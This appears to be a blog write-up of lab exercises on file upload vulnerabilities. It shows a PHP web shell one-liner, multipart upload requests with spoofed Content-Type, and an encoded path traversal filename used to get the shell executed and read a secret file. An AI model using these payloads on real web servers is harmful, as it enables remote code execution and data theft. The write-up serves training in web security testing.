Press enter or click to view image in full size
When a Simple Avatar Upload Became a Server Takeover: File Upload Vulnerabilities Explained
The first time I uploaded a PHP file disguised as an image and watched the server execute it, I felt a mix of excitement and disbelief. How could something as simple as an avatar upload feature become a gateway to complete server control? But that’s exactly what happened, and it taught me one of the most important lessons in web security: never trust user input, especially when it comes to files.
File upload vulnerabilities are among the most dangerous security flaws you can find in a web application. They’re also surprisingly common. In this post, I’ll walk you through what file upload vulnerabilities are, how to find them, and most importantly, how to exploit them through real examples I worked through in the lab.
File upload vulnerabilities occur when a web server allows users to upload files without properly validating their name, type, contents, or size. What seems like a harmless feature uploading a profile picture or sharing a document can become a critical security flaw if the server doesn’t enforce strict restrictions.
The danger lies in what an attacker can upload. Instead of a harmless image, an attacker might upload a server-side script (like PHP, JSP, or Python) that the server will execute. Once executed, this script can give the attacker complete control over the server.
The worst-case scenario? An attacker uploads a web shell a malicious script that allows them to execute arbitrary commands on the server just by sending HTTP requests. With a web shell, an attacker can read sensitive files, modify data, or even use the compromised server to attack other systems.
You might wonder: why would any developer allow users to upload dangerous files? The truth is, they don’t intend to. Most developers implement validation mechanisms, but these defenses are often flawed or incomplete.
Here are some common mistakes:
Blacklisting dangerous extensions : Developers might block .php or .jsp files but forget about .php5, .phtml, or other variations.
Trusting client-side validation : Relying on JavaScript to validate files is useless because attackers can bypass it entirely.
Checking only the Content-Type header : This header is controlled by the user and can be easily manipulated.
Inconsistent validation : Different parts of the application might have different validation rules, creating exploitable gaps.
The key takeaway? Validation is hard to get right, and attackers are always looking for ways to bypass it.
Before we dive into exploitation, it’s important to understand how servers process uploaded files.
When you upload a file, the server typically:
1. Receives the file and stores it in a directory
2. Checks the file extension to determine its type
3. Maps the extension to a MIME type (like image/jpeg or text/html)
4. Decides what to do based on the file type
If the file is an image or static HTML, the server simply serves it to users who request it. But if the file is executable (like a PHP script) and the server is configured to execute that type, it will run the script and return the output.
This is where the danger lies. If an attacker can upload a PHP file to a directory where the server executes PHP scripts, they can run arbitrary code on the server.
My first encounter with a file upload vulnerability was almost too easy. I was testing a simple blog application that allowed users to upload avatar images.
Press enter or click to view image in full size
I logged in with the credentials provided (wiener:peter) and navigated to the “My Account” page. There was a basic upload form for changing my profile picture. No warnings, no restrictions mentioned just a simple file upload button.
Press enter or click to view image in full size
I created a file called basicRCE.php with this simple one-liner:
<?php echo system($_GET['cmd']); ?>This script takes a command from the URL parameter and executes it on the server. I uploaded it, and to my surprise, the server accepted it without any complaints.
Press enter or click to view image in full size
The server responded with a success message and displayed my “avatar.” But instead of an image, I now had a PHP script sitting on the server.
Press enter or click to view image in full size
How I found it: After uploading, I checked the page source and found that my avatar was being loaded from /files/avatars/basicRCE.php. I opened my browser’s DevTools (F12), went to the Network tab, and found the GET request for my avatar.
Now came the fun part. I modified the URL to include a command parameter:
GET /files/avatars/basicRCE.php?cmd=echo+EhxbPress enter or click to view image in full size
The server executed the id command and returned the output in the response. I could see the user and group information of the server process. I had code execution.
To complete the challenge, I needed to read a specific file: /home/carlos/secret. I changed my command:
GET /files/avatars/basicRCE.php?command=cat+/home/carlos/secretThe server returned the contents of the secret file, and I had successfully exploited my first unrestricted file upload vulnerability.
Press enter or click to view image in full size
How I found it: I simply tested whether the server would execute my PHP file by adding a command parameter to the URL. When it worked, I escalated to reading sensitive files using the cat command.
The second scenario was more realistic. The application had some validation in place, but it was flawed.
Press enter or click to view image in full size
I tried the same approach as before uploading a PHP file called basicRCE.php.
But this time, the server rejected it with an error message:
“Only image/jpeg and image/png files are allowed.”
Interesting. The server was checking something, but what exactly?
I opened Burp Suite’s proxy history and found the POST request that submitted the file upload. The request used multipart/form-data encoding, which is standard for file uploads. Here’s what it looked like:
POST /my-account/avatar HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary= - - WebKitFormBoundary
- - - WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="basicRCE.php"
Content-Type: application/x-php
<?php echo system($_GET['command']); ?>
- - - WebKitFormBoundary -I noticed the Content-Type header in the file part: application/x-php. This is what the server was checking. It was validating the MIME type declared in the upload request, not the actual file contents.
This is a classic mistake. The Content-Type header is controlled by the client (me), so I can set it to anything I want.
Press enter or click to view image in full size
I sent the request to Burp Repeater and changed the Content-Type from application/x-php to image/jpeg:
Content-Type: image/jpegI sent the modified request, and the server accepted it. The file was uploaded successfully.
Press enter or click to view image in full size
How I found it: I analyzed the upload request and identified that the server was only checking the Content-Type header. By changing it to an allowed MIME type, I bypassed the validation entirely.
Now I had my PHP web shell on the server again. I navigated to /files/avatars/basicRCE.phpand added my command parameter:
GET /files/avatars/basicRCE.php?cmd=cat+/home/carlos/secretOnce again, the server executed my command and returned the secret file.
Press enter or click to view image in full size
Press enter or click to view image in full size
How I found it: After bypassing the upload restriction, I accessed the uploaded PHP file and confirmed it was executable by passing commands through the URL parameter.
The third scenario was the most interesting one yet. This time, the server had a clever defense: it allowed me to upload PHP files, but it wouldn’t execute them.
Press enter or click to view image in full size
I uploaded my basicRCE.php file just like before, and the server accepted it without complaints. But when I tried to access it at /files/avatars/basicRCE.php, instead of executing the script, the server just returned the PHP code as plain text:
HTTP/1.1 200 OK
Content-Type: text/plain
<?php echo system($_GET['cmd']); ?>This is actually a good security practice. The server was configured to treat the /files/avatars/ directory as a non-executable zone. Any PHP files in that directory would be served as text, not executed as code.
But here’s the thing: not all directories have the same restrictions. If I could upload my PHP file to a different directory one where PHP execution is allowed I might be able to bypass this defense.
Press enter or click to view image in full size
How I found it: After uploading the file, I tried to access it and noticed the server was returning the source code instead of executing it. This told me the upload directory had execution disabled.
I went back to the upload request in my browser’s DevTools and examined the POST request more carefully. The filename was being sent in the Content-Disposition header:
Content-Disposition: form-data; name="avatar"; filename="basicRCE.php"What if I could use path traversal in the filename itself? What if I could escape the /avatars/ directory and upload my file to the parent /files/ directory instead?
I modified the filename to include a directory traversal sequence:
filename=”../basicRCE.php”
I sent the request, and the server responded with:
“The file avatars/basicRCE.php has been uploaded.”
Interesting. The server stripped out the ../ sequence. It was trying to prevent path traversal, but the validation was flawed.
Press enter or click to view image in full size
How I found it: I tested path traversal in the filename parameter and noticed the server was stripping the ../ sequence, which indicated there was validation but it might be bypassable.
I tried URL encoding the forward slash. Instead of ../, I used ..%2f:
filename=”..%2fbasicRCE.php”
This time, the server’s response was different:
“The file avatars/../basicRCE.php has been uploaded.”
Success! The server URL-decoded the filename after checking for path traversal sequences. This meant my file was uploaded to /files/avatars/../basicRCE.php, which resolves to /files/basicRCE.php.
Press enter or click to view image in full size
How I found it: By URL-encoding the slash, I bypassed the path traversal filter. The server validated the filename before decoding it, allowing the traversal sequence to slip through.
Now I needed to access the file in its new location. I tried:
GET /files/basicRCE.php?command=cat+/home/carlos/secretAnd there it was the server executed my PHP script and returned the contents of the secret file. By combining file upload with path traversal, I bypassed the directory execution restrictions.
Press enter or click to view image in full size
Press enter or click to view image in full size
How I found it: After successfully uploading the file to the parent directory, I accessed it directly at /files/basicRCE.php and confirmed it was executable in that location.
All three scenarios I just described resulted in a web shell a powerful tool that gives an attacker remote control over a server.
A web shell is simply a script that accepts commands via HTTP requests and executes them on the server. The simplest version is a one-liner:
<?php echo system($_GET['CMD']); ?>But web shells can be much more sophisticated. They can include features like:
- File browsing and editing
- Database access
- Network scanning
- Privilege escalation tools
- Reverse shell capabilities
Once an attacker has a web shell, they can:
- Read sensitive files (passwords, API keys, database credentials)
- Modify application code
- Create backdoor accounts
- Exfiltrate data
- Use the server to attack other systems
This is why file upload vulnerabilities are so dangerous. A single flaw can lead to complete server compromise.
File upload vulnerabilities taught me that security is all about thinking like an attacker. Developers often implement validation that seems reasonable but fails under scrutiny. A simple Content-Type check feels like security, but it’s trivial to bypass.
The key lessons I learned:
1. Always test file upload features They’re common attack vectors and often poorly secured.
2. Don’t trust client-side validation Anything the client sends can be manipulated.
3. Understand how the server processes files Knowing whether the server executes certain file types is crucial.
4. Think creatively about bypasses If one validation method is blocked, try another approach.
And most importantly: test ethically. Only test applications you have permission to test, whether through bug bounty programs, penetration testing engagements, or practice labs.
File upload vulnerabilities are a reminder that even the simplest features can hide critical security flaws. The next time you see a file upload form, ask yourself: what else could I upload here?
In Part 2, I’ll dive deeper into more advanced file upload bypass techniques, including:
- Bypassing file extension blacklists
- Exploiting race conditions in file uploads
- Using polyglot files to bypass content validation
- Path traversal in file uploads
- And much more!
Happy hunting, and may your web shells always execute.
If you have any questions or require further clarification, don’t hesitate to reach out. Additionally, you can stay connected for more advanced cybersecurity insights and updates:
🔹 GitHub: @0xEhab
🔹 Instagram: @pjo_
🔹 LinkedIn: https://www.linkedin.com/in/ehxb/
Stay tuned for more comprehensive write-ups and tutorials to deepen your cybersecurity expertise. 🚀